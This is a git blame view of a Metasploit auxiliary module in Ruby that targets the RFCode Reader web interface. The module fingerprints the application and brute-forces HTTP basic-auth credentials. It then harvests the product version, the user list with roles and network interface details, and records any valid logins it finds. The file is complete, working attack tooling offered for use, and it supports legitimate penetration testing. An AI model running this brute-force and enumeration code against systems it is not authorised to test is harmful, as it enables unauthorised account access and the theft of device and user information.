Files
metasploit-gs/modules/auxiliary/scanner/http/rfcode_reader_enum.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

269 lines
7.6 KiB
Ruby
Raw Normal View History

2013-06-07 23:53:09 +05:30
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-06-07 23:53:09 +05:30
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2013-06-08 03:21:43 +05:30
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
2013-06-07 23:53:09 +05:30
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
def initialize(info={})
super(update_info(info,
2013-06-17 16:48:30 -05:00
'Name' => 'RFCode Reader Web Interface Login / Bruteforce Utility',
2013-06-07 23:53:09 +05:30
'Description' => %{
This module simply attempts to login to a RFCode Reader web interface.
Please note that by default there is no authentication. In such a case, password brute force will not be performed.
If there is authentication configured, the module will attempt to find valid login credentials and capture device information.
2013-06-07 23:53:09 +05:30
},
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
2013-06-08 01:00:18 +05:30
'License' => MSF_LICENSE
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
))
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
register_options(
[
2013-06-14 13:09:48 -05:00
OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", true])
])
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
end
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
#
# Info-Only
# Identify logged in user: /rfcode_reader/api/whoami.json
# Capture list of users: /rfcode_reader/api/userlist.json
# Interface configuration: /rfcode_reader/api/interfacestatus.json
# Device platform details: /rfcode_reader/api/version.json
2013-06-07 23:53:09 +05:30
#
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
def run_host(ip)
2013-06-08 01:00:18 +05:30
unless is_app_rfreader?
print_error("#{rhost}:#{rport} - Application does not appear to be RFCode Reader. Module will not continue.")
2013-06-07 23:53:09 +05:30
return
end
2013-08-30 16:28:54 -05:00
print_status("#{rhost}:#{rport} - Checking if authentication is required...")
2013-06-08 01:00:18 +05:30
unless is_auth_required?
print_warning("#{rhost}:#{rport} - Application does not require authentication.")
2013-06-07 23:53:09 +05:30
user = ''
pass = ''
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
# Collect device platform & configuration info
collect_info(user, pass)
return
end
2013-08-30 16:28:54 -05:00
print_status("#{rhost}:#{rport} - Brute-forcing...")
2013-06-07 23:53:09 +05:30
each_user_pass do |user, pass|
do_login(user, pass)
end
end
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
#
# What's the point of running this module if the app actually isn't RFCode Reader?
#
def is_app_rfreader?
res = send_request_cgi(
{
'uri' => '/rfcode_reader/api/whoami.json',
'vars_get' =>
{
'_dc' => '1369680704481'
}
})
2013-06-07 23:53:09 +05:30
return (res and res.code != 404)
end
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
#
# The default install of RFCode Reader app does not require authentication. Instead, it'll log the
# user right in. If that's the case, no point to brute-force, either.
#
def is_auth_required?
user = ''
pass = ''
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
res = send_request_cgi(
{
'uri' => '/rfcode_reader/api/whoami.json',
2013-06-07 23:53:09 +05:30
'method' => 'GET',
'authorization' => basic_auth(user,pass),
'vars_get' =>
{
'_dc' => '1369680704481'
}
2013-06-07 23:53:09 +05:30
})
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
return (res and res.body =~ /{ }/) ? false : true
end
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
#
# Brute-force the login page
#
def do_login(user, pass)
2013-08-30 16:28:54 -05:00
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
2013-06-07 23:53:09 +05:30
begin
res = send_request_cgi(
{
'uri' => '/rfcode_reader/api/whoami.json',
2013-06-07 23:53:09 +05:30
'method' => 'GET',
'authorization' => basic_auth(user,pass),
'vars_get' =>
{
'_dc' => '1369680704481'
}
2013-06-07 23:53:09 +05:30
})
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
if not res or res.code == 401
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")
2013-06-07 23:53:09 +05:30
else
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
collect_info(user, pass)
2013-08-30 16:28:54 -05:00
report_cred(
ip: rhost,
port: rport,
service_name: 'RFCode Reader',
user: user,
password: pass,
proof: res.code.to_s
)
2013-06-07 23:53:09 +05:30
return :next_user
end
2013-06-08 01:00:18 +05:30
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
2013-06-07 23:53:09 +05:30
return :abort
end
end
2013-08-30 16:28:54 -05:00
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
2013-06-07 23:53:09 +05:30
#
# Collect target info
#
def collect_info(user, pass)
2013-08-30 16:28:54 -05:00
vprint_status("#{rhost}:#{rport} - Collecting information from app as #{user.inspect}:#{pass.inspect}...")
2013-06-07 23:53:09 +05:30
begin
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
res = send_request_cgi(
2013-06-08 03:21:43 +05:30
{
'uri' => '/rfcode_reader/api/version.json',
2013-06-08 03:21:43 +05:30
'method' => 'GET',
'authorization' => basic_auth(user,pass),
'vars_get' =>
{
'_dc' => '1370460180056'
}
2013-06-08 03:21:43 +05:30
})
2013-08-30 16:28:54 -05:00
2013-06-14 13:09:48 -05:00
if res and res.body
release_ver = JSON.parse(res.body)["release"]
product_name = JSON.parse(res.body)["product"]
2013-08-30 16:28:54 -05:00
2013-06-14 13:09:48 -05:00
vprint_status("#{rhost}:#{rport} - Collecting device platform info...")
vprint_good("#{rhost}:#{rport} - Release version: '#{release_ver}', Product Name: '#{product_name}'")
2013-08-30 16:28:54 -05:00
2013-06-14 13:09:48 -05:00
report_note(
:host => rhost,
:proto => 'tcp',
:port => rport,
:sname => "RFCode Reader",
:data => "Release Version: #{release_ver}, Product: #{product_name}",
:type => 'Info'
)
end
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
res = send_request_cgi(
{
'uri' => '/rfcode_reader/api/userlist.json',
2013-06-07 23:53:09 +05:30
'method' => 'GET',
'authorization' => basic_auth(user,pass),
'vars_get' =>
{
'_dc' => '1370353972710'
}
2013-06-07 23:53:09 +05:30
})
2013-08-30 16:28:54 -05:00
2013-06-14 13:09:48 -05:00
if res and res.body
userlist = JSON.parse(res.body)
vprint_status("#{rhost}:#{rport} - Collecting user list...")
vprint_good("#{rhost}:#{rport} - User list & role: #{userlist}")
2013-08-30 16:28:54 -05:00
2013-06-14 13:09:48 -05:00
report_note(
:host => rhost,
:proto => 'tcp',
:port => rport,
:sname => "RFCode Reader",
:data => "User List & Roles: #{userlist}",
:type => 'Info'
)
end
2013-08-30 16:28:54 -05:00
2013-06-07 23:53:09 +05:30
res = send_request_cgi(
2013-06-08 03:21:43 +05:30
{
'uri' => '/rfcode_reader/api/interfacestatus.json',
2013-06-08 03:21:43 +05:30
'method' => 'GET',
'authorization' => basic_auth(user,pass),
'vars_get' =>
{
'_dc' => '1369678668067'
}
2013-06-08 03:21:43 +05:30
})
2013-08-30 16:28:54 -05:00
2013-06-14 13:09:48 -05:00
if res and res.body
eth0_info = JSON.parse(res.body)["eth0"]
vprint_status("#{rhost}:#{rport} - Collecting interface info...")
vprint_good("#{rhost}:#{rport} - Interface eth0 info: #{eth0_info}")
2013-08-30 16:28:54 -05:00
2013-06-14 13:09:48 -05:00
report_note(
:host => rhost,
:proto => 'tcp',
:port => rport,
:sname => "RFCode Reader",
:data => "Interface eth0: #{eth0_info}",
:type => 'Info'
)
end
2013-08-30 16:28:54 -05:00
2013-06-14 13:09:48 -05:00
return
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed while collecting info")
return
rescue JSON::ParserError
vprint_error("#{rhost}:#{rport} - Unable to parse JSON response while collecting info")
2013-06-07 23:53:09 +05:30
return
end
end
end